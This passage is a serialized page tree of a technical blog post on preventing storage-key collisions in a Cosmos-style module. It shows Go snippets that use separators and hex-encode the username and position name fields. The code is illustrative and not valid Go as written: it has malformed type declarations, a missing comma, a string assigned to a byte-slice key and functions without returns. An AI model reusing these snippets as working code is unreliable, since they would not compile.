\"|\"\n",{"type":22,"tag":264,"props":86667,"children":86668},{"class":1534,"line":1560},[86669],{"type":22,"tag":264,"props":86670,"children":86671},{"style":1539},[86672],{"type":27,"value":4463},{"type":22,"tag":264,"props":86674,"children":86675},{"class":1534,"line":1569},[86676],{"type":22,"tag":264,"props":86677,"children":86678},{"emptyLinePlaceholder":17},[86679],{"type":27,"value":4986},{"type":22,"tag":264,"props":86681,"children":86682},{"class":1534,"line":1583},[86683,86687,86691,86695,86699,86703],{"type":22,"tag":264,"props":86684,"children":86685},{"style":1549},[86686],{"type":27,"value":86531},{"type":22,"tag":264,"props":86688,"children":86689},{"style":4309},[86690],{"type":27,"value":77742},{"type":22,"tag":264,"props":86692,"children":86693},{"style":1549},[86694],{"type":27,"value":83560},{"type":22,"tag":264,"props":86696,"children":86697},{"style":1539},[86698],{"type":27,"value":210},{"type":22,"tag":264,"props":86700,"children":86701},{"style":4401},[86702],{"type":27,"value":86548},{"type":22,"tag":264,"props":86704,"children":86705},{"style":1539},[86706],{"type":27,"value":4767},{"type":22,"tag":264,"props":86708,"children":86709},{"class":1534,"line":1603},[86710,86715],{"type":22,"tag":264,"props":86711,"children":86712},{"style":1597},[86713],{"type":27,"value":86714},"    \"%d%s%s%s%s\"",{"type":22,"tag":264,"props":86716,"children":86717},{"style":1539},[86718],{"type":27,"value":4812},{"type":22,"tag":264,"props":86720,"children":86721},{"class":1534,"line":1612},[86722,86726],{"type":22,"tag":264,"props":86723,"children":86724},{"style":1549},[86725],{"type":27,"value":86572},{"type":22,"tag":264,"props":86727,"children":86728},{"style":1539},[86729],{"type":27,"value":4812},{"type":22,"tag":264,"props":86731,"children":86732},{"class":1534,"line":1621},[86733,86737],{"type":22,"tag":264,"props":86734,"children":86735},{"style":1549},[86736],{"type":27,"value":86656},{"type":22,"tag":264,"props":86738,"children":86739},{"style":1539},[86740],{"type":27,"value":4812},{"type":22,"tag":264,"props":86742,"children":86743},{"class":1534,"line":1629},[86744,86748],{"type":22,"tag":264,"props":86745,"children":86746},{"style":1549},[86747],{"type":27,"value":86584},{"type":22,"tag":264,"props":86749,"children":86750},{"style":1539},[86751],{"type":27,"value":4812},{"type":22,"tag":264,"props":86753,"children":86754},{"class":1534,"line":1642},[86755,86759],{"type":22,"tag":264,"props":86756,"children":86757},{"style":1549},[86758],{"type":27,"value":86656},{"type":22,"tag":264,"props":86760,"children":86761},{"style":1539},[86762],{"type":27,"value":4812},{"type":22,"tag":264,"props":86764,"children":86765},{"class":1534,"line":1660},[86766,86770],{"type":22,"tag":264,"props":86767,"children":86768},{"style":1549},[86769],{"type":27,"value":86596},{"type":22,"tag":264,"props":86771,"children":86772},{"style":1539},[86773],{"type":27,"value":4812},{"type":22,"tag":264,"props":86775,"children":86776},{"class":1534,"line":1668},[86777],{"type":22,"tag":264,"props":86778,"children":86779},{"style":1539},[86780],{"type":27,"value":4463},{"type":22,"tag":23,"props":86782,"children":86783},{},[86784],{"type":27,"value":86785},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":22,"tag":23,"props":86787,"children":86788},{},[86789,86791,86797,86798,86804],{"type":27,"value":86790},"Sadly, it doesn't. Since the ",{"type":22,"tag":257,"props":86792,"children":86794},{"className":86793},[],[86795],{"type":27,"value":86796},"username",{"type":27,"value":12290},{"type":22,"tag":257,"props":86799,"children":86801},{"className":86800},[],[86802],{"type":27,"value":86803},"vaultName",{"type":27,"value":86805}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":22,"tag":618,"props":86807,"children":86809},{"code":86808},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[86810],{"type":22,"tag":257,"props":86811,"children":86812},{"__ignoreMap":7},[86813],{"type":27,"value":86808},{"type":22,"tag":23,"props":86815,"children":86816},{},[86817],{"type":27,"value":86818},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":22,"tag":618,"props":86820,"children":86822},{"code":86821,"language":77490,"meta":7,"className":77491,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[86823],{"type":22,"tag":257,"props":86824,"children":86825},{"__ignoreMap":7},[86826,86837,86852,86859,86866,86873,86894,86910,86948,86955,86992,86999,87019,87034,87070,87077,87112,87119,87146,87157,87168,87179,87191,87202,87210],{"type":22,"tag":264,"props":86827,"children":86828},{"class":1534,"line":1535},[86829,86833],{"type":22,"tag":264,"props":86830,"children":86831},{"style":4293},[86832],{"type":27,"value":10953},{"type":22,"tag":264,"props":86834,"children":86835},{"style":1539},[86836],{"type":27,"value":79892},{"type":22,"tag":264,"props":86838,"children":86839},{"class":1534,"line":1545},[86840,86844,86848],{"type":22,"tag":264,"props":86841,"children":86842},{"style":1549},[86843],{"type":27,"value":86656},{"type":22,"tag":264,"props":86845,"children":86846},{"style":4309},[86847],{"type":27,"value":4312},{"type":22,"tag":264,"props":86849,"children":86850},{"style":1597},[86851],{"type":27,"value":86665},{"type":22,"tag":264,"props":86853,"children":86854},{"class":1534,"line":1560},[86855],{"type":22,"tag":264,"props":86856,"children":86857},{"style":1539},[86858],{"type":27,"value":4463},{"type":22,"tag":264,"props":86860,"children":86861},{"class":1534,"line":1569},[86862],{"type":22,"tag":264,"props":86863,"children":86864},{"emptyLinePlaceholder":17},[86865],{"type":27,"value":4986},{"type":22,"tag":264,"props":86867,"children":86868},{"class":1534,"line":1583},[86869],{"type":22,"tag":264,"props":86870,"children":86871},{"emptyLinePlaceholder":17},[86872],{"type":27,"value":4986},{"type":22,"tag":264,"props":86874,"children":86875},{"class":1534,"line":1603},[86876,86881,86885,86890],{"type":22,"tag":264,"props":86877,"children":86878},{"style":1549},[86879],{"type":27,"value":86880},"usernameEncoded",{"type":22,"tag":264,"props":86882,"children":86883},{"style":4309},[86884],{"type":27,"value":77742},{"type":22,"tag":264,"props":86886,"children":86887},{"style":4401},[86888],{"type":27,"value":86889}," make",{"type":22,"tag":264,"props":86891,"children":86892},{"style":1539},[86893],{"type":27,"value":4767},{"type":22,"tag":264,"props":86895,"children":86896},{"class":1534,"line":1612},[86897,86902,86906],{"type":22,"tag":264,"props":86898,"children":86899},{"style":1539},[86900],{"type":27,"value":86901},"    []",{"type":22,"tag":264,"props":86903,"children":86904},{"style":4722},[86905],{"type":27,"value":86090},{"type":22,"tag":264,"props":86907,"children":86908},{"style":1539},[86909],{"type":27,"value":4812},{"type":22,"tag":264,"props":86911,"children":86912},{"class":1534,"line":1621},[86913,86918,86922,86927,86931,86935,86939,86943],{"type":22,"tag":264,"props":86914,"children":86915},{"style":1549},[86916],{"type":27,"value":86917},"    hex",{"type":22,"tag":264,"props":86919,"children":86920},{"style":1539},[86921],{"type":27,"value":210},{"type":22,"tag":264,"props":86923,"children":86924},{"style":4401},[86925],{"type":27,"value":86926},"EncodedLen",{"type":22,"tag":264,"props":86928,"children":86929},{"style":1539},[86930],{"type":27,"value":2660},{"type":22,"tag":264,"props":86932,"children":86933},{"style":4401},[86934],{"type":27,"value":10436},{"type":22,"tag":264,"props":86936,"children":86937},{"style":1539},[86938],{"type":27,"value":2660},{"type":22,"tag":264,"props":86940,"children":86941},{"style":1549},[86942],{"type":27,"value":86796},{"type":22,"tag":264,"props":86944,"children":86945},{"style":1539},[86946],{"type":27,"value":86947},")),\n",{"type":22,"tag":264,"props":86949,"children":86950},{"class":1534,"line":1629},[86951],{"type":22,"tag":264,"props":86952,"children":86953},{"style":1539},[86954],{"type":27,"value":4463},{"type":22,"tag":264,"props":86956,"children":86957},{"class":1534,"line":1642},[86958,86963,86967,86972,86976,86980,86984,86988],{"type":22,"tag":264,"props":86959,"children":86960},{"style":1549},[86961],{"type":27,"value":86962},"hex",{"type":22,"tag":264,"props":86964,"children":86965},{"style":1539},[86966],{"type":27,"value":210},{"type":22,"tag":264,"props":86968,"children":86969},{"style":4401},[86970],{"type":27,"value":86971},"Encode",{"type":22,"tag":264,"props":86973,"children":86974},{"style":1539},[86975],{"type":27,"value":2660},{"type":22,"tag":264,"props":86977,"children":86978},{"style":1549},[86979],{"type":27,"value":86880},{"type":22,"tag":264,"props":86981,"children":86982},{"style":1539},[86983],{"type":27,"value":4380},{"type":22,"tag":264,"props":86985,"children":86986},{"style":1549},[86987],{"type":27,"value":86796},{"type":22,"tag":264,"props":86989,"children":86990},{"style":1539},[86991],{"type":27,"value":4463},{"type":22,"tag":264,"props":86993,"children":86994},{"class":1534,"line":1660},[86995],{"type":22,"tag":264,"props":86996,"children":86997},{"emptyLinePlaceholder":17},[86998],{"type":27,"value":4986},{"type":22,"tag":264,"props":87000,"children":87001},{"class":1534,"line":1668},[87002,87007,87011,87015],{"type":22,"tag":264,"props":87003,"children":87004},{"style":1549},[87005],{"type":27,"value":87006},"positionNameEncoded",{"type":22,"tag":264,"props":87008,"children":87009},{"style":4309},[87010],{"type":27,"value":77742},{"type":22,"tag":264,"props":87012,"children":87013},{"style":4401},[87014],{"type":27,"value":86889},{"type":22,"tag":264,"props":87016,"children":87017},{"style":1539},[87018],{"type":27,"value":4767},{"type":22,"tag":264,"props":87020,"children":87021},{"class":1534,"line":1677},[87022,87026,87030],{"type":22,"tag":264,"props":87023,"children":87024},{"style":1539},[87025],{"type":27,"value":86901},{"type":22,"tag":264,"props":87027,"children":87028},{"style":4722},[87029],{"type":27,"value":86090},{"type":22,"tag":264,"props":87031,"children":87032},{"style":1539},[87033],{"type":27,"value":4812},{"type":22,"tag":264,"props":87035,"children":87036},{"class":1534,"line":1686},[87037,87041,87045,87049,87053,87057,87061,87066],{"type":22,"tag":264,"props":87038,"children":87039},{"style":1549},[87040],{"type":27,"value":86917},{"type":22,"tag":264,"props":87042,"children":87043},{"style":1539},[87044],{"type":27,"value":210},{"type":22,"tag":264,"props":87046,"children":87047},{"style":4401},[87048],{"type":27,"value":86926},{"type":22,"tag":264,"props":87050,"children":87051},{"style":1539},[87052],{"type":27,"value":2660},{"type":22,"tag":264,"props":87054,"children":87055},{"style":4401},[87056],{"type":27,"value":10436},{"type":22,"tag":264,"props":87058,"children":87059},{"style":1539},[87060],{"type":27,"value":2660},{"type":22,"tag":264,"props":87062,"children":87063},{"style":1549},[87064],{"type":27,"value":87065},"positionName",{"type":22,"tag":264,"props":87067,"children":87068},{"style":1539},[87069],{"type":27,"value":86947},{"type":22,"tag":264,"props":87071,"children":87072},{"class":1534,"line":4948},[87073],{"type":22,"tag":264,"props":87074,"children":87075},{"style":1539},[87076],{"type":27,"value":4463},{"type":22,"tag":264,"props":87078,"children":87079},{"class":1534,"line":4957},[87080,87084,87088,87092,87096,87100,87104,87108],{"type":22,"tag":264,"props":87081,"children":87082},{"style":1549},[87083],{"type":27,"value":86962},{"type":22,"tag":264,"props":87085,"children":87086},{"style":1539},[87087],{"type":27,"value":210},{"type":22,"tag":264,"props":87089,"children":87090},{"style":4401},[87091],{"type":27,"value":86971},{"type":22,"tag":264,"props":87093,"children":87094},{"style":1539},[87095],{"type":27,"value":2660},{"type":22,"tag":264,"props":87097,"children":87098},{"style":1549},[87099],{"type":27,"value":87006},{"type":22,"tag":264,"props":87101,"children":87102},{"style":1539},[87103],{"type":27,"value":4380},{"type":22,"tag":264,"props":87105,"children":87106},{"style":1549},[87107],{"type":27,"value":87065},{"type":22,"tag":264,"props":87109,"children":87110},{"style":1539},[87111],{"type":27,"value":4463},{"type":22,"tag":264,"props":87113,"children":87114},{"class":1534,"line":4980},[87115],{"type":22,"tag":264,"props":87116,"children":87117},{"emptyLinePlaceholder":17},[87118],{"type":27,"value":4986},{"type":22,"tag":264,"props":87120,"children":87121},{"class":1534,"line":4989},[87122,87126,87130,87134,87138,87142],{"type":22,"tag":264,"props":87123,"children":87124},{"style":1549},[87125],{"type":27,"value":86531},{"type":22,"tag":264,"props":87127,"children":87128},{"style":4309},[87129],{"type":27,"value":77742},{"type":22,"tag":264,"props":87131,"children":87132},{"style":1549},[87133],{"type":27,"value":83560},{"type":22,"tag":264,"props":87135,"children":87136},{"style":1539},[87137],{"type":27,"value":210},{"type":22,"tag":264,"props":87139,"children":87140},{"style":4401},[87141],{"type":27,"value":86548},{"type":22,"tag":264,"props":87143,"children":87144},{"style":1539},[87145],{"type":27,"value":4767},{"type":22,"tag":264,"props":87147,"children":87148},{"class":1534,"line":4998},[87149,87153],{"type":22,"tag":264,"props":87150,"children":87151},{"style":1597},[87152],{"type":27,"value":86714},{"type":22,"tag":264,"props":87154,"children":87155},{"style":1539},[87156],{"type":27,"value":4812},{"type":22,"tag":264,"props":87158,"children":87159},{"class":1534,"line":5067},[87160,87164],{"type":22,"tag":264,"props":87161,"children":87162},{"style":1549},[87163],{"type":27,"value":86572},{"type":22,"tag":264,"props":87165,"children":87166},{"style":1539},[87167],{"type":27,"value":4812},{"type":22,"tag":264,"props":87169,"children":87170},{"class":1534,"line":5075},[87171,87175],{"type":22,"tag":264,"props":87172,"children":87173},{"style":1549},[87174],{"type":27,"value":86656},{"type":22,"tag":264,"props":87176,"children":87177},{"style":1539},[87178],{"type":27,"value":4812},{"type":22,"tag":264,"props":87180,"children":87181},{"class":1534,"line":5105},[87182,87187],{"type":22,"tag":264,"props":87183,"children":87184},{"style":1549},[87185],{"type":27,"value":87186},"    usernameEncoded",{"type":22,"tag":264,"props":87188,"children":87189},{"style":1539},[87190],{"type":27,"value":4812},{"type":22,"tag":264,"props":87192,"children":87193},{"class":1534,"line":5113},[87194,87198],{"type":22,"tag":264,"props":87195,"children":87196},{"style":1549},[87197],{"type":27,"value":86656},{"type":22,"tag":264,"props":87199,"children":87200},{"style":1539},[87201],{"type":27,"value":4812},{"type":22,"tag":264,"props":87203,"children":87204},{"class":1534,"line":5145},[87205],{"type":22,"tag":264,"props":87206,"children":87207},{"style":1549},[87208],{"type":27,"value":87209},"    positionNameEncoded\n",{"type":22,"tag":264,"props":87211,"children":87212},{"class":1534,"line":5153},[87213],{"type":22,"tag":264,"props":87214,"children":87215},{"style":1539},[87216],{"type":27,"value":4463},{"type":22,"tag":23,"props":87218,"children":87219},{},[87220,87222,87227],{"type":27,"value":87221},"We did it. We finally eliminated all potential ",{"type":22,"tag":257,"props":87223,"children":87225},{"className":87224},[],[87226],{"type":27,"value":86531},{"type":27,"value":87228}," collisions.",{"type":22,"tag":23,"props":87230,"children":87231},{},[87232],{"type":27,"value":87233},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":22,"tag":23,"props":87235,"children":87236},{},[87237,87239,87245,87247,87252,87254,87259,87261,87266,87268,87274],{"type":27,"value":87238},"In the Cosmos framework, it is common for each ",{"type":22,"tag":257,"props":87240,"children":87242},{"className":87241},[],[87243],{"type":27,"value":87244},"Module",{"type":27,"value":87246}," to own a few ",{"type":22,"tag":257,"props":87248,"children":87250},{"className":87249},[],[87251],{"type":27,"value":86302},{"type":27,"value":87253}," and have individual ",{"type":22,"tag":257,"props":87255,"children":87257},{"className":87256},[],[87258],{"type":27,"value":81271},{"type":27,"value":87260},"s managing access to storages. It's also important to note that each ",{"type":22,"tag":257,"props":87262,"children":87264},{"className":87263},[],[87265],{"type":27,"value":86302},{"type":27,"value":87267}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":22,"tag":257,"props":87269,"children":87271},{"className":87270},[],[87272],{"type":27,"value":87273},"Modules",{"type":27,"value":210},{"type":22,"tag":23,"props":87276,"children":87277},{},[87278,87280,87285],{"type":27,"value":87279},"With that being said, what if we have to maintain more than one structure within the same ",{"type":22,"tag":257,"props":87281,"children":87283},{"className":87282},[],[87284],{"type":27,"value":86302},{"type":27,"value":4458},{"type":22,"tag":23,"props":87287,"children":87288},{},[87289,87291,87297,87299,87304],{"type":27,"value":87290},"To demonstrate this scenario, we introduce the ",{"type":22,"tag":257,"props":87292,"children":87294},{"className":87293},[],[87295],{"type":27,"value":87296},"NameToAddressMap",{"type":27,"value":87298}," structure, which will be stored in the same ",{"type":22,"tag":257,"props":87300,"children":87302},{"className":87301},[],[87303],{"type":27,"value":86302},{"type":27,"value":87305}," we previously used.",{"type":22,"tag":618,"props":87307,"children":87309},{"code":87308,"language":77490,"meta":7,"className":77491,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[87310],{"type":22,"tag":257,"props":87311,"children":87312},{"__ignoreMap":7},[87313,87328,87343,87350,87365,87384,87399,87406,87421,87476,87483,87499,87519,87534,87541,87557],{"type":22,"tag":264,"props":87314,"children":87315},{"class":1534,"line":1535},[87316,87320,87324],{"type":22,"tag":264,"props":87317,"children":87318},{"style":4293},[87319],{"type":27,"value":34072},{"type":22,"tag":264,"props":87321,"children":87322},{"style":4722},[87323],{"type":27,"value":86348},{"type":22,"tag":264,"props":87325,"children":87326},{"style":4722},[87327],{"type":27,"value":77528},{"type":22,"tag":264,"props":87329,"children":87330},{"class":1534,"line":1545},[87331,87335,87339],{"type":22,"tag":264,"props":87332,"children":87333},{"style":4293},[87334],{"type":27,"value":34072},{"type":22,"tag":264,"props":87336,"children":87337},{"style":4722},[87338],{"type":27,"value":86364},{"type":22,"tag":264,"props":87340,"children":87341},{"style":4722},[87342],{"type":27,"value":86369},{"type":22,"tag":264,"props":87344,"children":87345},{"class":1534,"line":1560},[87346],{"type":22,"tag":264,"props":87347,"children":87348},{"emptyLinePlaceholder":17},[87349],{"type":27,"value":4986},{"type":22,"tag":264,"props":87351,"children":87352},{"class":1534,"line":1569},[87353,87357,87361],{"type":22,"tag":264,"props":87354,"children":87355},{"style":4293},[87356],{"type":27,"value":34072},{"type":22,"tag":264,"props":87358,"children":87359},{"style":4722},[87360],{"type":27,"value":86381},{"type":22,"tag":264,"props":87362,"children":87363},{"style":4722},[87364],{"type":27,"value":86369},{"type":22,"tag":264,"props":87366,"children":87367},{"class":1534,"line":1583},[87368,87372,87376,87380],{"type":22,"tag":264,"props":87369,"children":87370},{"style":4293},[87371],{"type":27,"value":34072},{"type":22,"tag":264,"props":87373,"children":87374},{"style":4722},[87375],{"type":27,"value":8718},{"type":22,"tag":264,"props":87377,"children":87378},{"style":4293},[87379],{"type":27,"value":22458},{"type":22,"tag":264,"props":87381,"children":87382},{"style":1539},[87383],{"type":27,"value":4594},{"type":22,"tag":264,"props":87385,"children":87386},{"class":1534,"line":1603},[87387,87391,87395],{"type":22,"tag":264,"props":87388,"children":87389},{"style":1549},[87390],{"type":27,"value":44548},{"type":22,"tag":264,"props":87392,"children":87393},{"style":1539},[87394],{"type":27,"value":77553},{"type":22,"tag":264,"props":87396,"children":87397},{"style":4722},[87398],{"type":27,"value":85553},{"type":22,"tag":264,"props":87400,"children":87401},{"class":1534,"line":1612},[87402],{"type":22,"tag":264,"props":87403,"children":87404},{"style":1539},[87405],{"type":27,"value":1692},{"type":22,"tag":264,"props":87407,"children":87408},{"class":1534,"line":1621},[87409,87413,87417],{"type":22,"tag":264,"props":87410,"children":87411},{"style":4293},[87412],{"type":27,"value":34072},{"type":22,"tag":264,"props":87414,"children":87415},{"style":4722},[87416],{"type":27,"value":86438},{"type":22,"tag":264,"props":87418,"children":87419},{"style":4309},[87420],{"type":27,"value":86443},{"type":22,"tag":264,"props":87422,"children":87423},{"class":1534,"line":1629},[87424,87428,87432,87436,87440,87444,87448,87452,87456,87460,87464,87468,87472],{"type":22,"tag":264,"props":87425,"children":87426},{"style":4293},[87427],{"type":27,"value":86451},{"type":22,"tag":264,"props":87429,"children":87430},{"style":1539},[87431],{"type":27,"value":5045},{"type":22,"tag":264,"props":87433,"children":87434},{"style":4722},[87435],{"type":27,"value":86460},{"type":22,"tag":264,"props":87437,"children":87438},{"style":1539},[87439],{"type":27,"value":16710},{"type":22,"tag":264,"props":87441,"children":87442},{"style":4293},[87443],{"type":27,"value":68425},{"type":22,"tag":264,"props":87445,"children":87446},{"style":1539},[87447],{"type":27,"value":5045},{"type":22,"tag":264,"props":87449,"children":87450},{"style":4722},[87451],{"type":27,"value":86477},{"type":22,"tag":264,"props":87453,"children":87454},{"style":1539},[87455],{"type":27,"value":16710},{"type":22,"tag":264,"props":87457,"children":87458},{"style":4293},[87459],{"type":27,"value":68425},{"type":22,"tag":264,"props":87461,"children":87462},{"style":1539},[87463],{"type":27,"value":5045},{"type":22,"tag":264,"props":87465,"children":87466},{"style":4722},[87467],{"type":27,"value":86494},{"type":22,"tag":264,"props":87469,"children":87470},{"style":1539},[87471],{"type":27,"value":16710},{"type":22,"tag":264,"props":87473,"children":87474},{"style":4722},[87475],{"type":27,"value":86503},{"type":22,"tag":264,"props":87477,"children":87478},{"class":1534,"line":1642},[87479],{"type":22,"tag":264,"props":87480,"children":87481},{"emptyLinePlaceholder":17},[87482],{"type":27,"value":4986},{"type":22,"tag":264,"props":87484,"children":87485},{"class":1534,"line":1660},[87486,87490,87495],{"type":22,"tag":264,"props":87487,"children":87488},{"style":4293},[87489],{"type":27,"value":34072},{"type":22,"tag":264,"props":87491,"children":87492},{"style":4722},[87493],{"type":27,"value":87494}," AddressName",{"type":22,"tag":264,"props":87496,"children":87497},{"style":4722},[87498],{"type":27,"value":86369},{"type":22,"tag":264,"props":87500,"children":87501},{"class":1534,"line":1668},[87502,87506,87511,87515],{"type":22,"tag":264,"props":87503,"children":87504},{"style":4293},[87505],{"type":27,"value":34072},{"type":22,"tag":264,"props":87507,"children":87508},{"style":4722},[87509],{"type":27,"value":87510}," Address",{"type":22,"tag":264,"props":87512,"children":87513},{"style":4293},[87514],{"type":27,"value":22458},{"type":22,"tag":264,"props":87516,"children":87517},{"style":1539},[87518],{"type":27,"value":4594},{"type":22,"tag":264,"props":87520,"children":87521},{"class":1534,"line":1677},[87522,87526,87530],{"type":22,"tag":264,"props":87523,"children":87524},{"style":1549},[87525],{"type":27,"value":16404},{"type":22,"tag":264,"props":87527,"children":87528},{"style":1539},[87529],{"type":27,"value":77553},{"type":22,"tag":264,"props":87531,"children":87532},{"style":4722},[87533],{"type":27,"value":85553},{"type":22,"tag":264,"props":87535,"children":87536},{"class":1534,"line":1686},[87537],{"type":22,"tag":264,"props":87538,"children":87539},{"style":1539},[87540],{"type":27,"value":1692},{"type":22,"tag":264,"props":87542,"children":87543},{"class":1534,"line":4948},[87544,87548,87553],{"type":22,"tag":264,"props":87545,"children":87546},{"style":4293},[87547],{"type":27,"value":34072},{"type":22,"tag":264,"props":87549,"children":87550},{"style":4722},[87551],{"type":27,"value":87552}," AddressMap",{"type":22,"tag":264,"props":87554,"children":87555},{"style":4309},[87556],{"type":27,"value":86443},{"type":22,"tag":264,"props":87558,"children":87559},{"class":1534,"line":4957},[87560,87564,87568,87572,87576,87580,87584,87588,87592,87596,87600,87605,87609],{"type":22,"tag":264,"props":87561,"children":87562},{"style":4293},[87563],{"type":27,"value":86451},{"type":22,"tag":264,"props":87565,"children":87566},{"style":1539},[87567],{"type":27,"value":5045},{"type":22,"tag":264,"props":87569,"children":87570},{"style":4722},[87571],{"type":27,"value":86460},{"type":22,"tag":264,"props":87573,"children":87574},{"style":1539},[87575],{"type":27,"value":16710},{"type":22,"tag":264,"props":87577,"children":87578},{"style":4293},[87579],{"type":27,"value":68425},{"type":22,"tag":264,"props":87581,"children":87582},{"style":1539},[87583],{"type":27,"value":5045},{"type":22,"tag":264,"props":87585,"children":87586},{"style":4722},[87587],{"type":27,"value":86477},{"type":22,"tag":264,"props":87589,"children":87590},{"style":1539},[87591],{"type":27,"value":16710},{"type":22,"tag":264,"props":87593,"children":87594},{"style":4293},[87595],{"type":27,"value":68425},{"type":22,"tag":264,"props":87597,"children":87598},{"style":1539},[87599],{"type":27,"value":5045},{"type":22,"tag":264,"props":87601,"children":87602},{"style":4722},[87603],{"type":27,"value":87604},"AddressName",{"type":22,"tag":264,"props":87606,"children":87607},{"style":1539},[87608],{"type":27,"value":16710},{"type":22,"tag":264,"props":87610,"children":87611},{"style":4722},[87612],{"type":27,"value":87613},"Address\n",{"type":22,"tag":23,"props":87615,"children":87616},{},[87617],{"type":27,"value":87618},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":22,"tag":618,"props":87620,"children":87622},{"code":87621,"language":77490,"meta":7,"className":77491,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[87623],{"type":22,"tag":257,"props":87624,"children":87625},{"__ignoreMap":7},[87626,87637,87652,87659,87666,87673,87689,87704,87731,87754,87773,87789,87825,87832,87867,87874,87894,87909,87944,87951,87986,87993,88021,88033,88045,88057,88069,88080,88092,88099,88106,88113,88120,88136,88151,88175,88198,88217,88232,88267,88274,88309,88316,88336,88351,88386,88393,88429,88436,88463,88474,88485,88496,88507,88518,88530,88537],{"type":22,"tag":264,"props":87627,"children":87628},{"class":1534,"line":1535},[87629,87633],{"type":22,"tag":264,"props":87630,"children":87631},{"style":4293},[87632],{"type":27,"value":10953},{"type":22,"tag":264,"props":87634,"children":87635},{"style":1539},[87636],{"type":27,"value":79892},{"type":22,"tag":264,"props":87638,"children":87639},{"class":1534,"line":1545},[87640,87644,87648],{"type":22,"tag":264,"props":87641,"children":87642},{"style":1549},[87643],{"type":27,"value":86656},{"type":22,"tag":264,"props":87645,"children":87646},{"style":4309},[87647],{"type":27,"value":4312},{"type":22,"tag":264,"props":87649,"children":87650},{"style":1597},[87651],{"type":27,"value":86665},{"type":22,"tag":264,"props":87653,"children":87654},{"class":1534,"line":1560},[87655],{"type":22,"tag":264,"props":87656,"children":87657},{"style":1539},[87658],{"type":27,"value":4463},{"type":22,"tag":264,"props":87660,"children":87661},{"class":1534,"line":1569},[87662],{"type":22,"tag":264,"props":87663,"children":87664},{"emptyLinePlaceholder":17},[87665],{"type":27,"value":4986},{"type":22,"tag":264,"props":87667,"children":87668},{"class":1534,"line":1583},[87669],{"type":22,"tag":264,"props":87670,"children":87671},{"emptyLinePlaceholder":17},[87672],{"type":27,"value":4986},{"type":22,"tag":264,"props":87674,"children":87675},{"class":1534,"line":1603},[87676,87680,87685],{"type":22,"tag":264,"props":87677,"children":87678},{"style":4293},[87679],{"type":27,"value":77626},{"type":22,"tag":264,"props":87681,"children":87682},{"style":4401},[87683],{"type":27,"value":87684}," PositionMapKey",{"type":22,"tag":264,"props":87686,"children":87687},{"style":1539},[87688],{"type":27,"value":4767},{"type":22,"tag":264,"props":87690,"children":87691},{"class":1534,"line":1612},[87692,87696,87700],{"type":22,"tag":264,"props":87693,"children":87694},{"style":1549},[87695],{"type":27,"value":86572},{"type":22,"tag":264,"props":87697,"children":87698},{"style":4722},[87699],{"type":27,"value":77747},{"type":22,"tag":264,"props":87701,"children":87702},{"style":1539},[87703],{"type":27,"value":4812},{"type":22,"tag":264,"props":87705,"children":87706},{"class":1534,"line":1621},[87707,87711,87715,87719,87723,87727],{"type":22,"tag":264,"props":87708,"children":87709},{"style":1549},[87710],{"type":27,"value":86584},{"type":22,"tag":264,"props":87712,"children":87713},{"style":1539},[87714],{"type":27,"value":4380},{"type":22,"tag":264,"props":87716,"children":87717},{"style":1549},[87718],{"type":27,"value":87065},{"type":22,"tag":264,"props":87720,"children":87721},{"style":1539},[87722],{"type":27,"value":77553},{"type":22,"tag":264,"props":87724,"children":87725},{"style":4722},[87726],{"type":27,"value":86090},{"type":22,"tag":264,"props":87728,"children":87729},{"style":1539},[87730],{"type":27,"value":4812},{"type":22,"tag":264,"props":87732,"children":87733},{"class":1534,"line":1629},[87734,87738,87742,87746,87750],{"type":22,"tag":264,"props":87735,"children":87736},{"style":1539},[87737],{"type":27,"value":77708},{"type":22,"tag":264,"props":87739,"children":87740},{"style":1549},[87741],{"type":27,"value":73480},{"type":22,"tag":264,"props":87743,"children":87744},{"style":1539},[87745],{"type":27,"value":77553},{"type":22,"tag":264,"props":87747,"children":87748},{"style":4722},[87749],{"type":27,"value":86090},{"type":22,"tag":264,"props":87751,"children":87752},{"style":1539},[87753],{"type":27,"value":16103},{"type":22,"tag":264,"props":87755,"children":87756},{"class":1534,"line":